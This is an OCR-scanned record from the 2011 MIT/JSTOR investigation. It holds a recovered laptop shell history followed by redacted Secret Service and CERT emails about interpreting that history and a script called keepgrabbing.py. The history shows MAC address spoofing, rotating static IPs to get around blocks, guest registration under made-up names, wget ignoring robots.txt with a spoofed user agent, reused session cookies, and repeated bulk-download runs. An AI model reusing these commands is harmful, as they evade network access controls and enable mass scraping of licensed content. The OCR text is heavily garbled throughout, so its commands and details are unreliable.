echo curl -d vr\amessrace+Host& emali=ghostd2@mailinator. comBaction=Reglstec&class=visitor” -k ~interface ethO

hitps://10.72.0.47;444/binfdynareg’ >> logminfo
curl ~interface eth0 10.72.0.47

sudo dhclient eth0

sleep 600; sudo dhcllent ethO

route

curl --interface wian0 www.yahoo.com

curl -interface wlan(? 4.2.2,2

sleep 600; sudo dhclient ethO

sudo dhclient eth0

sudo ping - eth0 10.72.0.47

sudo ping -l wian0 4.2.2.2

sudo ping -l th0 4,2.2.2

man route

dnsip

dig www.yahoo.com

dig www .yahoo.comjgrep "IN®

dig www.yahoo.com{grep "IN" | grep 10.72
echo 'dig www.yahoo.comgrag "IN" | grep 10.72' > logininfo
Jsbin/ifconfig -3

/sbin/ifconflg -a)grep en

sudo ifconfig ethO hw 00:4¢:e5:a0:¢7:56

sudo ifconfig ethO hw ether 00:4¢:e5:20:c7:56
sudo ifdown eth0

sudo ifconflg ethO hw ether 00:4¢:e5:20:¢7:56
sudo ifconflg ethQ down

sudo tfconflg ethO hw ether 00:4¢:e5:a0:c7:56
sudo Hfconfig etho up

emacs logininfo

ping www.yahoo.com

dig yahoo.com

sudo dhdient

dig www.yahoo.com

[r | F ]




emacs logininfo

emacs fetc/er-ipupdate/defauit.conf
/sbin/ifconflg -a

sudo emacs /etc/ez-ipupdate/default.conf
Jetcfinit.d/ez-ipupdate restart

sudo fetc/init.d/ez-Ipupdate restart
dig

dig x.dyndns-free.com

dig ns x.dyndns-free.com

cat Jetc/resolv.c

cat Jetc/resolv.conf

dig www.yahoo.cvom

dig www.yahoo.com

links —help

links --help|grep inerf

links --help|grep interf

fynx

curl --interface ethQ www.yahoo.com
dig @10.2.55.7 www,yahoo.com

dig @10.2.55.2 www.yshoo.com
sudo dhclient

cat /etc/resolv.conf

suda dhclient

cat fetc/resotv.conf

ping 10.72.0.47

dig @10.72.0.47 www google.com
gnome-screensaver-

df

plng www.yahoo.com

echo 10.72.0.47>> loglninfo

dig --heip

host --help

dig ns x.dyndns-free.com

dig @ns1.dyndns.org ghost-laptop.dyndns-free.org
dig @nsl.dyndns.org ghostdaptop.dyndns-free.com
/sbinfifconfig -a

ssh ghost-laptop.dyndns-{free.org
ssh ghost-laptop.dyndns-free.com
ssh --help | grep interf

man ssh

sudo ifconfig ethQ down

ssh ghost-laptop.dyndns-free.com
sudo curl --interface eth0 10.72.0.47
route

ssh ghost-laptop.dyndns-free.com
ping www.yshoo.com

/sbinfifconfig -a

ssh 10.1849.76.179

sudo dhclient ehtd

sudo dhclient eth0

route

man route

IRIFI
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route

sudo dhcllent ethd

sudo route del default

sudo route -net 10.0.0.0 gw 10.189.64.1

sudo route add -net 10,0.0.0 gw 10.189.64.1

sudo route add 10.0.0.0 gw 10.189.64.1

route

ping 10.188.76.179

ping 10.72.0.47

sudo dhclient eth0

/sbln/ifconfig -a

ping google.com

route

ping4.2.2.2

sudo dhclient ethO

cat logininfo

curl -d nname=Grace+Host&yemail=ghosta2 @mailinator.comBvsponsor=Evinterval=14”
curl -d “meeaGracemosl&ggm:gil-—'g]195(42@mnillnator.cgmm_s_mg_sgfz_&yﬁ\teNal=14" -k --interface ethO
hitps://10.72.0.47:444/bin/dynareg

echo ‘curl -d "vname:Gmcemost&ggw@mm&wmwkm“ -k —interface eth0
hitps;//10.72.0.47:444/bin/dynarer’ >> logininfo

curl www.yahoo.com

acho "curl -d "vname:Grace#klost&gmmmwgmwmsou&virlt_eivaluld" -k ~Interfaca eth0
htps://10.72.0.47:444/bin/dynarcg’ >> logininflo

curl d "vname=-Grace+Host&vemajl=phostd2 @mailinator.comév nsor=&vinterval-14" -k —~interface ethQ
https://10,72.0.47:444/bin/dynareg

curl d "vname-Graceﬂlost&yg«_n_ail-—-ghggag@muilinatg[.gom&vsgg psor=&vinterval=5" -k {nterface eth0
hitps://10.72.0.47:444/bin/dypare]

sudo dhclient ethQ

sudo dhelient -r

sudo dhclient -r eth0

sudo dhclient ethD

/sbinfifoonflg -8 » fcanfiglog

/sbinfifconfig -8

sudo ifconfig wian0 down

sudo ifconfig wian0 hw ether 90:4c:e5:20:¢7:55

sudo ifconfig wian0 up

/sbin/ifcoofig -a

Jete/Init.d/ez-ipupdate restart

sudo Jete/init.dfez-tpupdate restart

dig ghost-laptop.dyndns-free.com

ping 4.2.2.2

sudo dhclient

ping 4.2.2.2

ping www.yahoo.com

route

curl www.yahoo.com

ssh ghost-laptop.dyndns-free.com

[sbin/ifconfig -a

ssh18.111.48.33

curl www.yahoa.com

sudo dhclient ethQ
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cd /media/bceB20ea-803b-4556-bfa6-etf2d9ebb6Se/
Is

Is | grep ajp

1s | grep -v oxford

cd fvol

ls

cd www.gename,org/content/1/3/

is

cd /media/bce820ea-a03b-4556-bfat-eff2d9ebb65e/

more pdfs/2520824.pdf

more pdfs/25208234.pdf

Is -1 pdfs/25208234.pdt

ls -Ut pdfs | head

python

ps ax | grep pyth

psax | grepls

sudo kil 8185

sudo kill -9 8185

fg

cd bl

cd blocks/

Is

cd done/

Is | less

Is | head

mare altpd00000009

more allpd000000003

muore alipd0000000009

{s-l /media/bceszoea-aOSb-ASSS—bfaG-eff2d96b655e/pdfs/2027314S.pdf
Is | tail

more tograb-aaggu

more /mcdia/bce820ea-aOSIMSSG-bfaG-efﬂdgebﬁﬁse/pdfs/350815.pdf
Is - /media/bcc&ZOea-aOBb-dSSG-bt‘aG-e(f2d90b66$e/pdfs/35981S pdf
Is | tess

Is | grep v pd | less

is | grep bik | tail

more btkQ000003629

more /media/bce820ea-a03b-4556-bfa6-eff2a9eb665e/399479

more Jinedia/bceB820ea-a03b-4556 bfa6-eff2dYeb665e/399479.pdf
more finedia/bce820e3-a03b-4556 -bfa6 eff2d9eb665e/3999479.pdf
more /media/bcesmea-amb-dSSG-bfaG-efde‘JchGSe/pdfs/3999479.pdf
maore /media/bceﬂz0ea-a03b-4556-bfa6-eff2d9eb66$e/pdfs/3‘)99478.pdf
cd

python

in -5 /media/bce820ea-a03b-4556- bfaG-eff2deb665e/ /media/drive
sudo In -5 /media/bce820ea-a03b-4556-bfa6-eff2d9eb(65e/ /media/drive
fg

is /media/drive/pdfs*

c

w

/sbin/ifconfig -a

14
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ssh 10.189.61.53

{sbin/ifconfig -a

sudo Jetc/init.d/ez-ipupdate restart

ssh 18.111.48.33

Is

more falledandneedtograb

cat failedandneedtograb | sed -e 's/.pat//* | sort-u | head
cat falledandneedtograb | sed -e 's/.pdf//' | sort-u> falled-partial-clean
head failed-partial-clean > blocks/testfalled
/sbin/ifconfig -a

cud --interface wian0 www.yahoo.com
route

ping 18.211.31.1

we -| fatiadandneedtograb

sudo apt-get install autossh

sudo apt-get update

man ssh

ps ax | grap dhclient

kil 7937

sudo Wit 7937

sudo kill 8001

sudo kill 8281

ps ax | grep dhclient

ps ax | grep natwo

ps ax } grep Netw

sudo kill 730

ps ax | grep Netw

ps axf

Jete/init.d/network-manager stop

sudo fetc/init.d/network-manager stop

ps ax

ps ax | grep dhdl

sudo kill 8339

ps ax

/shin/ifconfig -a

sudo emacs /etc/ez-ipupdate/default.conf
sudo /et¢/Init.d/ez-lpupdate restart

dig ghost-laptop.dyndns-free.com

Is

screen -x

w

who am i

we -l failed-clean

screen -x

\

is

cat falledandneedtograb | sed -e 's/.pdf//" | sort -u > falled-partial-clean
we-| failedandneedtograb

cat failedandneedtograb | sed -e ‘s/.pdf// | sort-u> failed-clean
rim falled-partial-clean

more falled-clean

cd blocks/done

1§
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Is | less

less bIkODOO0O0020

wc -1 bik0000000020

od..

split ~help

split -a 5 -1 1000 failed-clean blocks/blkfall

df -b

creen -x

screen -x

who am |

cd umi

python

cd umi

grep 797854 *

grep 801899 °

Is

raore 900.htmi

grep 1978790241 *

screen -1

screen -k

finks

Is

screen -x

Is blocks

Is

rin failedandneedtograb

rm failed-clean

python

Is

mv pdf2size.dbm pdf2size-js3.dbm

fg

more stifltograbx

spiit --help

split -a § -1 100 stilitograbx blocks/stilibik

Is blocks

fe

cd /media/drive/pdfs

more 3580725.pdf

less 3697690.pdf

cd /media/drive/pdfs

more 3590725.pdf

Jess 3697690.pdf

links "hitp://www.nelm.org.e2p-
pr/dai/full/10.1056/NE/Mp0781902keytype2=tf_ipsecshakijkey=d016abad5489a1d98cBc00431b6051b7fe229d4K,
tinks "http://www.nejm.org.czp-pr/dol/full/10. 1056/NE)MpO78190"
links "bttp://www.nejm.oip/dol/fullf10.1056/NEIMpD73190"
Is

Is umifsaneurl.py

finks http://linkinghub elsevier.com/retrieve/pil/09333657839900110
links “hitp://Mnkinghub.elsevler com/retrieve/pii/092911999490006X"

more /vol/umi/107685.htmi
) [RF ]
2706

tinks /vol/umi/107685.htm|




Lo ooy ige

Savnbin o s,

S\

fliaks /vol/uml/107754.htmi

curl - hng:[[IInk'|ngh.ug.e(sevig[.cgm[rgtr_ig\./g[p_ij[097807b;0657d57§p_9_2.2t_1

curt -

“huep:/finkinghub.elsevier.com [retrieve[artlcleSelectSlngle?Redlrectshttg%3 %2r-%zFwww.;ciencedirent.vom%2f_s_c.jg,g
ce%3F_ob%3DGatewayURLs626 _origind63 Dinwardhub%26 yriversion?s304%26 me;hodﬁaggitatlungcarghx26 piikey%
3089780750657457500224%26 versiOn%BDl%26rnd5%3DSdOhleecBlccccStiSBa151(1@949103"

curl -

"hitp:/fwww.sciencedirect.comy/science? oh=GatewayURL& oripin=inwardhyh8_urlversion=4& method=cjtationgearc
h& piikey=R9780750657457500224% version=1&m§§=§(39!215fec31egcc366§41Sl.f1e‘), 4990g"

curl i "htp://www.scigncedlrect.com/scie nce? ob=ArticleURLSE udi=R3KAS-4RIMOTB-

88 user=501045& coverDate=01362F0952F2 & rdoc=18& fmt=high& origesearch& origin=gearch® sort=d&_doca
nchor:&view=c& acct=C0000226598 version=1& uriVersion=0& uggriﬂ-—:_ﬁOlOdS&mQS:Qddgﬁg;}fﬁg!4c404128dg5326

a67¢81a&searchtype=a"
ping www.jstor.org
curl www.jstor.org

Is

screen -x

df-h

screen -f

screen -x

cd fmedia/drive/jsindex/
Is

m*

Is

$

1s

¢d 1923

Is

mare 00900.htm}
python

cd ..

Is

python

more 1923/06700.htmi

fg

Is blocks

df -b

sudo umount /media/bceBlOea-aOBb-dSSS-bfaG-eff2d9eb665e/
ping 4.2.2.2

/sbinfifconfig -8

/sbin/ifconfig -alless

Is

~fbin/sts pdfs | head

[sls pdfs | head

cd pdfs

Jsts | xargs -l mv {} /vol/pdfs/
fsls . | xargs-i mv (} fvol/pdfs/
Is

ed..

rmdir pdfs

more deleteandgrab

: [RF ]
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Is -l

more pdfs3.sls
tail pdfs3.sis

{s

more js3.IsIR
less js3.IsIR

Is -th js3.IsiR
g

Is

is -th pdf2size-jsd.dbm
wc -l Js3.1sIR
python

spilt -3 5 -1 100 30mblocks blocks/grp30m

¢d /volfjsindex/

python

ed /media/dr

cd /media/drive/
~/keepgrabbing.py

fg

more /media/drive/4478605.pdf
more /media/drive/pdfs/4478605.pd¢
curl protact.theinfo.org

links protect.theinfo.org

df :

ps ax | grep part

ps ax

cd /media/

is

mkdir drive2

sudo mkdir drive?

sudo mount /dev/sdf grive2
sudo mount -t reiserfs /dev/sdf drive2
suda mount -t retserfs /dev/sdfl drive2
df

df -h

cd drive2

Is

Is-a

mkdir pdfs

sudo mkdir pdfs

sudo chown ghost pdfs

cd jvol

Is -t

ed ..

is

rm vol

sudo rm vol

sudo In -s /media/drive2 vol
screen -r

screen -x

ping www.google.com
/sbinfifconfig -8

[R1F ]
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Jsbin/ifconfig -a|less
dhclient

sudo dhclient

sudo ifdown ethO:1

ping www.google.com

/sbin/ticonfig -a

/sbinfiiconfig -a|less

ping 4.2.2.2

cat Jetc/resoiv

cat fetc/resolv.conf

ping 10.72.0.47\

ping 10.72.0.47

ping 4.2.2.2

sudo ifconfig down ethd:1

sudo ifconfig eth0:1 down
Jsbinfifconfig -3|less

sleep 600 && bell

bg

dhclient

sudo dhclient

df -h

sudo umount /dev/sdfl

fe

df

ps ax | grep dhcile

sudo kill 31696

[skin/ifconfig -a | less

scrasn -X

gnoma-screensaver
gnome-screensaver—command ~lock
gnome-lock-screen
gnome-screensaver-lock
xscreensaver -lock
gnome-screensaver-command -dock
gnome-screensaver

screen -x

df

cd /media/

Is

mount /dev/sdgl 33ab9fel-9¢54-4341-9374-72 722078d3¢0/
sudo mount /dev/sdgl 333b9fel1-9c54-43h1-9374-7272 278u3e0/
df

sudo mount /dev/sdhi 33ab9fel1-9¢54-4301-9374-72722d78d3e0/
Is

/sbin/ifconfig -a

sudo ifconfig mac 91:4¢:e5:a0:¢c7:55
Is

/sbin/ifconfig -8 > mac

sudo Ifconfig mac 91:4¢:e5:30:¢7:55
fg

sudo ifconfig ethD mac 91:4c:e5:30:c7:55
man ifconfig

19




sudo ifconfig ethQ hw ether 81:4c:e5:20:¢7:55
{sbinfifconfig -a | grep ether

Jsbin/ifconfig eth0

sudo ifconfig eth0 hw ether 00:4¢:€5.30:¢7:55

sudo (fdown eth0

sudo ifconfig ethO hw ether 00:4c:e5:30:¢7:55

sudo Ifeonfig ethO down

sudo ifconfig ethQ hw ether 00:4¢:e5:a0:c7:55

sudo ifconfig ethO up

dhclient

sudo dh

suda dhclient

sudo dhclient -r

cd /mnt/

Is

df

ced /media/bcesz()ea-ao3b-4555-bfa6-eff2d9eb6659/
is

Is-1/

-5 /medla/bceszoea-a03b~4556-bf36-eﬁ2d9eb6659/ Jval
SUDQ In-s /media/bceﬂ20ea-ao3b-ASSG-bfaG—effzdgebGGSae/ Jvol

suds In-s /media/bceamea-ao3b-4556~bfa6-eff2d92b665e/ /vol

cd /vol

ls

df

itconflg

sudo dhclient -r

sudo dhcllent

Is

cd

Is

screen -r

Is blocks/ Jwe

screen

screen f

screen «x

we - urlstograb.wget

dt -h | media

df -t | grep media

we -l uristograb.wget

df -h | grep media

grep -v oxford uristograb.wget |less

grop -v oxford urlstograb.wget |grep -v dukejo |grep -v genesdev | grep v ert |less

grep -v oxford uristograb.wget |grep -v dukejo |grep -v genesdev | grep -v err | grep -v cship | grep-v rnajou |less
grep -v oxford urlstograb.wget 1giep -v dukejo |grep v genesdev | grep -v erf ] grep -v cship | grep -v rnajou jgrep v
genome jless

grep -v oxford urlstograb.wget |grep -v dukejo |grep -v genesdev | grep -v err | grep -v cship | grep -v rnajou |grep -v
genome|grep -v learnmem|less
we - uris®

df -h | grep media

Is blocks/ jwe -l

df -h | grep media

) [R1F ]



Is blocks/ [we -1

df -h | grep media
Is blocks/{wce -l

df -h | grep medla
LS

df

w

df -h | grep media
Is blocks/ | we -
df-h | grep medla
ks blacks/{wc

ts blocks/ jwe -1

df -h | grep media
is blocks/ jwe -1

df -h | grep media
{s blocks/| we -

df -h | grep media
1s blocks/ |we -l

Is fmnt

is fvol

df -h | grep media
Is blocks/{wc -

df -h | grep media
Is locks/we |

df -h | grep media
s blocks/ fwe -

df -h

Is blocks/{we -

df -h | grep medla
1s blocks/|wc -4

df -h

df -h | grep media
Is blocks/we -1
df-h | grep media
is blocks/jwe -t

df -h | grep media
Is blocks/ |we A

df -h | grep media
is blacks/|wc -

df -h | grep media
1s blocks/we -t

df -h | grep media
1s blocks/ |we -

df -b | grap media
1s blocks/jwe 4

df -h | grep media
ping google.com
[sbin/ifcondlg -a
/sbin/fifconfig -a}less
df

umount /media/drive

cd /media/drive/

RIF
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Is

df -h

Is

sudo umount /dev/sdel

sudo umount -f /dev/sdel

df

/sbinfifconfig -a|less

df -h | grep drive2

ts blacks/we -l

cd

¥s blocks/ |wc -I

df -h | grep drive2

/sbin/ifconflg -a

ifconfig etho:1 static 18.55.7.241

sudo ifconfig ethO:1 static 18.55.7.241
/sbinfifconfig -a

curl —interface eth0:1 www.]stor.org
curl ~interface ethO www.jstor.org
sudo ifcanfig eth0:1 static 18.55.6.241
curl ~interface ethO www.jstor.org
curl —interface eth0:1 www.jstor.ofg
suda ifconfig eth0:1 static 18.55.5.241
curl ~interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.55.4.241
curl —~interface eth0:1 www.jstor.org
/stin/ifconfig -a

sudo fconfig eth0:1 static 18.54.4.241
cudl —-Interface eth0:1 www.|stor.0rg
sudo ifconfig oth0:1 static 18.54.5.241
sudo ifconfig eth0:1 static 18.55.5.241
sudo ifconfig eth0:1 up static 18.55.5.241
Is blocks/fwe -1

ping 4.2.2.2

cd vol

cd /vol

~/kaepgrabbing.py

fg

cd.

Is vol

Is -fvol

rm vol

suda rm vol

sudo In - /media/drive /vol

cd /vol

~/keepgrabbing.py

a

~/keepgrabbing.py

cd ..

¢d vol

~/keepgrabbing.py

od

Is
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mkdir tomove

cd tomove

mkdir pdfs

~/keepgrabbing.py

emacs ../keepgrabbing.py
~/keepgrabbing.py

sudo rm /vol

sudo in -s /medla/Baabsfe1-9654-43b1~9374r72722d78d3eO/ Mol
cd /vol

~/keepgrabbing.py

fg

ls

¢d ../voi

~/keepgrabbing.py

links www.jstor.org

dhcilent

{sbin/ifcontig -a

ifconfig up eth0:1 18.55.6.251

tfeonfig --help | less(A

ifconfig --help .
ifconfig eth0:1 up static 18.55.6.25

sudo ficonfig eth0:1 up static 18.55.6.251
sudo ifconfig eth0:1 up static 18.55.6.252
/sbinfifconfig -3

ping —help | less

ping -l eth0:1 www.google.com
/sbin/ifconfig -a

/sbinfifeonfig -a|less

sudo config ethO:1 up static 18.55.6.241
/shinfifconfig -a

ping -| eth0:1 www.google.com

ping -1 18.55.6.241 www.google.com

curl —-interface eth0:] www.google.com
curl —interface eth0:1 www.jstor.org

curl --help | less

/sbinfifconfig -8

sudo Ifconfig eth0:1 up statlc 18.55.6:252
curl —Interface eth0:1 www.jstor.ong
sudo ifconfig eth0:1 up static 18.55.7.240
curl --interface ethd:1 www.jstor.org

curl ~interface eth0:1 www.jstor.org/x

Is

emacs keepgrabbing.py

cd tomove/pdfs/

Is { we-l -

rav * /vol/pdfs

Is

ed..

Is

mkdér umi

g umi

curl =o 0.htmi "proquest.uml.com/pqdwe'h?RQT=305&SO.=PM10(66569)&P35e5l2e=50"
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curl -0 0.htmi "proguest.umi.com/ pqdweb?RQT=305&SQ=PMID(66569) &PageSizes508icfe=1"
more 0,htm]

curl - proquest.umt.com/pgdweb? RQT=30585Q=PMID(66569)&Pageslze=50
curt -i "proquest.uml.com/pqdweb?RQT=3OS&SQ=PM!D(GSSGS]&PageSizezso"
curi -H "Cookie: JSESSIONID=fAzWwqzMRSha" -0 0.htmi

“proguest.umi .comlpqdweb?RQT=305&$Q=PMID(GGSSQ)&PageSize=SO"

more O.html

curl -H "Cookie: JSESSIONID=fazWwazMRSha* -0 50.html
"proguest.umi.com/padweb?RQT=3058.5Q= PMID(66569)&PageSize=50&frstindex=50"
diff -u 0.html S0.htmi _

macs curicommands.py

emacs curlcommands.py

python cucticommands.py

python curlcommands.py

more curlcommands.sh

ym curlcommands.py

emacs curicommands.py

python curlcommands.py

moce curicommands.sh

hash curlcommands.sh

more 1100

more 1100.html

lynux -dump 1100.htmi

finks 1100.html

python

cat > saneurl.py

fg

Is /media

fe
mokdir /media/drive/umi

fg
curt -i hg;g:[[nmggg;;.gmi.ggm{mgweb

fg

is /media/drivefumi

more /media/drive/2073772711.pdf
more /medla/drive/umi/2073772711 pdf
more /medla/drive/umi/2073772711 htmi
more /media/drive/umi/2073772711.pdf
fg

cd fvol

~/keepgrabbing.py

od..

¢d vol

~/keepgrabbing.py

fg

~/keepgrabbing.py

~/keepgrabbing.py
Is
df -h

24

[R1F }







3 L E S Sl S s

fe

ps ax | grep keep

psax | grep ser

fg %1

fgo

fg

kifl 2137

kit 2138

ps ax | grep keep

python serveblocks.py 8092
f8

python serveblocks.py 3092
emacs serveblocks.py
python serveblocks.py 8092
emacs servedlocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
kil %1

fg

pythaon serveblocks.py 8092
kil %91

fg

python serveblocks.py 8092
kit 361

fg

python serveblocks.py 8092
e

kill %1

fg

python servablocks.py 8092
kil %1

tg

python serveblocks.py 8052
kil 941

fg

emacs serveblocks.py
python serveblocks.py 8092
cd /media/drive/
~lieepgrabbing.py

df -h

df -higrep sdd; date

du -hsc fvol/*

dm fvol/uristograb2.wget
rm jvol/uristograb2.wget
du -hsc /volf*

bwm-ng

duy -hsc fvol/*

df -h

df -hv|grep media

L L |




Is blocks jwe -

Is

emacs oaigrab.py

python - oaigrab.py

emacs oalgrab.py

python - oaigrab.py

emacs oalgrab.py

mkdir muse

mv urlstograb* muse

python oaigrab.py | tee uristograb.wget

wc -} uristograb.wget

emacs oalgrab.py

python - caigrab.py | tee urlstograb.wget

emacs oaigrab.py

python -i oaigrab.py | tee urlstograb.wget

is

emacs oalgrab.py

fg

emacs oalgrab.py

python - oaigrab.py { tee urlstograb2.wget

fg

cd /vol

wget -x -nv -nc¢ -i ~furistograb.wget

more analysis.oxfordjournals.ong/content/35/3/97.full.pdf
wget -x -nv -n¢ - ~furistograb.wget

mkdir sd

cd sd

wget «in-np tm:[[www_._s_c(gncgdl[egt._@m[sciencc/mq/;ltgmaQ[;'nqe;(.html"
wget --headers"User-Agent: WL/6" m -np “http://www.5c ncedirect. com/sclence/page/sitemap/index. htm "
wget --header="User-Agent: WL/6" -m -np " _)_t_t,g;[waw,sctencedlrect.com[gclgnce[pgxgg[sigemapjﬁx_dgﬁ_t_lﬂ“
wget -@ robots=off --headers"User-Agent: WL/6" -m -np
*hitp://www.sclencedirect.com/science/page sitemap/index.htmi”
Is

<d www.sclencedirect.com/sclence/page/sitemap/publication/
Is

cd serialf

is

cd journals/

Is

amacs ~/sis

chmod +x*/sls

~/sls | less

~/sis. | less

more 17509467 .html

Is 0242648X

Is 0242648%/24

Is 0242648%/24/3

more 0242648%X/24/3/243.htm)

python

fg

mkdir fvol/sd/jo

4
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cd

fs

python

Is

cd umi

Is

python

g

mora keepgrabbing.py
¢d /vol/

Is

mkdir pdfs

sudo mkdir pdfs
sudo chown ghost pdfs
cd pdfsf
~/keepgrabbing.py
..
~fkeepgrabbing.py
fg
~/keepgrabbling.py
dids

fs

python

pwd

Is

cd ~/umi

python

fg

python

{s 1000000.htm)

fg

more 128214.htm|

more 128213

{ess 128204.htmi

tess fvol/umi/128204.htmi
links /volfumif128204.htmi
python

is -th

Is blocks | we -1

python

Is *dbm

fg

Is

more deleteandgrab

split -a § - 1000 deleteandgrab blocks/regrabc
ts blocks/ | we -

cd blocks/

is | less

is | tall

cd..

fg

ls /mnt

28
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df
Is /media/drive

(g

finks http://caliper.ucpress.net/dol/pdf/ 10,1525/25.2010.50.5.835
ls

rm p1-salmela.pdf

curl “hitp://portal.acm.org/ft gatcwav.cfm?ldsl'l&?dSQ&tvo_gg;zdf&CFlD: 15992&CFTQK§N§§Q§9_L},“
curl - "QR_L:I[ponaQ._agm.org[ft pateway.cfmiid=1 1874398 type=pdf&CEID=159028CFTOKEN=5505917 1"
curl -i "hitp://portal.acm Qre/ft ggtgwgy,gfm?]g-ngz:tgg&mgg ndf*
curl -i "ptp://portal,acm.oc ateway.cfm?ld=1187439&type pdf"|less
Is

more serveblocks.py

emacs serveblocks,py

more keepgrabbing.py

15 /vol

~fsls fvol umi > umlsis

more urni.sls

~fsks fvolfumi > umi.sls

~/sis fvol/pdfs > pdfs3.sls

Is -IR fvol » [s3.1sIR

more js3.1siR

Is -IR /fvol/ > js3.isIR

more js3.IsiR

we -l js3.1sIR

echo -n me@aaronsw.comim

df

ps ax

dof

mount /dav/sdc/vol

cd /vol

ls

ed /medla/

is

Is -1

vm drive

suda rm drive

sudo mkdlr drive

sudo mount /dev/sde drive

sudo mount /dev/sdel drive

cd drive

Is

df

1d -h

df -h

mkdir pdfs

sudo mkdir pdfs

sudo chown ghost pdfs

Is

~[keepgrabbing.py

od /media/drive/pdfs

more 3590725.pdf

less 3697690.pdf
] RIF 1
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Jess 30072010.pdf
{ess 60244678.pdf
lass 3523970.pdf
less 3548593.pdf
tess 3523645.pdf
fess 3813153.pdf
less 3838338.pdf
less 3279339.pdf
less 1888323.pdf
less 688560.pdf
less "234, pdf

less 742572.pdf
less 30058803.pdf
less 2023815.pdf
more 2023815.pdf
cd
~Jieepgrabbing.py
fg

Is

<d pdfs

Is

df -h

cd fvolf
~{keepgrabbing.py
cd ..

cd vol
~/keepgrabbing.py

(b)(B).(L)THC)

U.S. Secrel Service
Boston Field Office

(b)(8),(bX7XC)

CLM LA Ay

A a-mall tofliom this account IS subjeet to official review and 1s for official use only.

Action may Le taken In response to vy Inappropriate use of the Seorpt

Sarvice's a-mall system. This e-mail may contaln information that is privileged, law enforcement seasitive, or subject to other disclosurs {Imitatians. Such
hiformation Is loanad ta you and should not he further disseminatad without the permission of the Secret Service. If you have daceived this ¢-mall In error,

Ju not kaep, use, disciase, of copy it; notlfy the sender immediately and deluty it
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(B)(6).(b)7NC) (CID)

From: I(bE(ﬁ),(b)U)(C) Ecert,org)

Seant: ednesday, March 09, 2011 1131 AM
To: Y 3 3 MB).(BU7XC 0S)
Ce: {LYB)(LUT)C) i0)

Subject: Re: bash history of Acer involved with MIT hack and downloading from JSTOR

Hare ks the phone bridge Information. | have booked the line from 1 to 2 Bastern,
Looking forward to speaking with you then.

(b)@).(E)(THC)

From; "Heymann, Stephen (USAMA)" {(B)(6),(B)(7XC) busdo] gov>
Date: Wed, 9 Mar 2011 10:49:07 -0500
To: [(BXBIBN7NC) _ }BOS)* [BIEYABNTNC) _ Pusss.dhs.govs {BNE).()7XC) Icart.org>
Codit 7)) cert org>

Subject: RE: bash history of Acer Invalved with MIT hack and downigading from ISTOR

works for me[(5)(6). ]

Froni(®)(6).(}7)(C) 180S) [malltd{BYEY. (bY7XCY Jusss.dhs.goy)
Sent: Wednesday, March 09, 2011 10:37 AM

To
Ccy{(bl(8).(bX7)C) ]
Subject: RE: bas

Heymann, Stephen (USAMA)
istory of Acer invotved with MIT hack and downicading from JSTOR

Would 1300 today work for everyone? Do you have the ability to host a conferenca call?

(b)(B)(bI7NC)
L1.S. Secres Service
Baston Field Qffice

{b)(8).{b)(7NC)

From: IR IDY ] [maitd(b)(8).(b) [cert.org)
Sent: Wednesday, March 09, 2011 10:36 AM
To{(b)B).{EXTXC) B80S)

Cc
Subject: Re: bash history of Acer involved with MIT hack and downloading from JSTOR

We can, but we haven't had the opportunity to look at much beyond the python seript and the bash history.

Let us know what Is a good time for you. We are free all day today.
(bX8),

from: [(BXBLBITRC) __ IBOS)" {(BXELILHTHC)  Jusss.dhs.pov>

Date: Wed, 9 Mar 2011 10:23:06 -0500

To{()(8). (b)7)C) beert.org>

Subject: RE: bash history of Acer involved with MIT hack and downioading from JSTOR

Do you mind if we have a conference call with the AUSA.

AUSA Heymann P Stephen
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Chief Appeliate and Computer Crime Section

A UG hisdoj pov
(£)(6),{bX7)C) Work
Cell

[E@.H;NC) ]
U.S. Seeret Service
Boston Field Office

Fromi(b)(G).(bsé'/)( ‘m iitol(b)(6).(b k;gmsz(g]
Sant: Wednesday, March 09, 2011 9:56 AM

Tob)(6).(b)(7}C) BOS)
C bR (BNTWEY JCID);{b)(6).(bX7)C) |
Subject: Re: hash history of Acer Tnvolvex| with MIT hack and downloading from JSTOR

Do you have same time today that we can go over the questions you have on tha bash histary listed below and keepgrabbing
python script?

(Ex6).(b
FromilEUEL{OH7HC) Pusss.dhs gov>
Date: Tue, 8 Mar 2011 17:24:0S -0500
To:[ih)(8).(bU7UC) Peart.org>

Subject: Fw; bash history of Acer involved with MIT hack and downloading from JSTOR

Special Agent

U S. Sacret Service
(L)(8).(LH7HC) [Dask)
{Mobile)
412-268-5228 (Fax)

Frop(b)(6).(b}Y7XC BOS)

T{0)6).B)7)C)  LIo)mm et era{BELBTheert.org>

Sent: Tue Mar 7:21:53 2011

Subject: Fw: bash history of Acer involvad with MIT hack and downlpading from JSTOR

wouid anyone have lime available to help me decipher the besh history tor proof of Mac spoofing and interpret what the
script keepgrabbing.py does?

[B)6).eX7)(C) ]
Sent from Blackbemy

From{D)XB).ENTIC) __|(BOS)
To: ‘Heymann, Stephen (USAMA)' [(£)(6).(BX7XC) Jusdoj.gov>
c::Kbﬁmﬁaa TXCI KI0)
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Sent: Wed Mar 02 17:31:13 2011

Subject: bash history of Acer involved with MIT

£yt

hack and downloading from JSTOR

The bash history of the Acer that was connected to the MIT network has references to the python script keepgrabbing

and JSTOR:

cat .bash_history

rm .bash_history

screen -x

uptime

df-h

Is /mnt/pdfs/|we -

Is -f fmnt/pdfs/ |we -1
screen %

cat .bash_history

Is

cat .ssh/known_hosts
whols ygl.as

uptime

curl www Jstor.org

links www.jstor.org/stable/838383
Is

mv 838383.pdf /mnt/pdfs/
screen -f

screen =X

curl Jstor.org

curl -| wwww.jstor.org
curl -} www Jstor.org
sudo ifconfig wian0 down
sudo dhclient -re

sudo dhcilent -r

sudo ifconfig athC up
sudo dhclient

curl -{ www jstor.omg

curl scripting.com
/shin/ifconfig -a

curl scripting.com

ping 4.2.2.2

cat /etc/resotv.conf

sudo dhclient -r

sudo dhelient

ping 4.2.2.2

cat fetc/resolv.conf

curl scriptng.com

curl www.google.com
curl -l www jstor.org
/sbin/ifconfig -8

ping ghost-laptop.dyndns-free.com
ps ax | grep ip
Jetc/init.d/ez-ipupdate
[ete/init.d/ez-ipupdate reload

RIFJ
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sudo fetc/init.d/fez-ipupdate reload

ping ghost-laptop.dyndns-free.com

dig ghast-laptop.dyndns-free.com

dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
sudo /etc/init.d/ez-ipupdate restart

dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
ez-ipupdate —-help

ez-ipupdate --help|less

suda ez-ipupdate

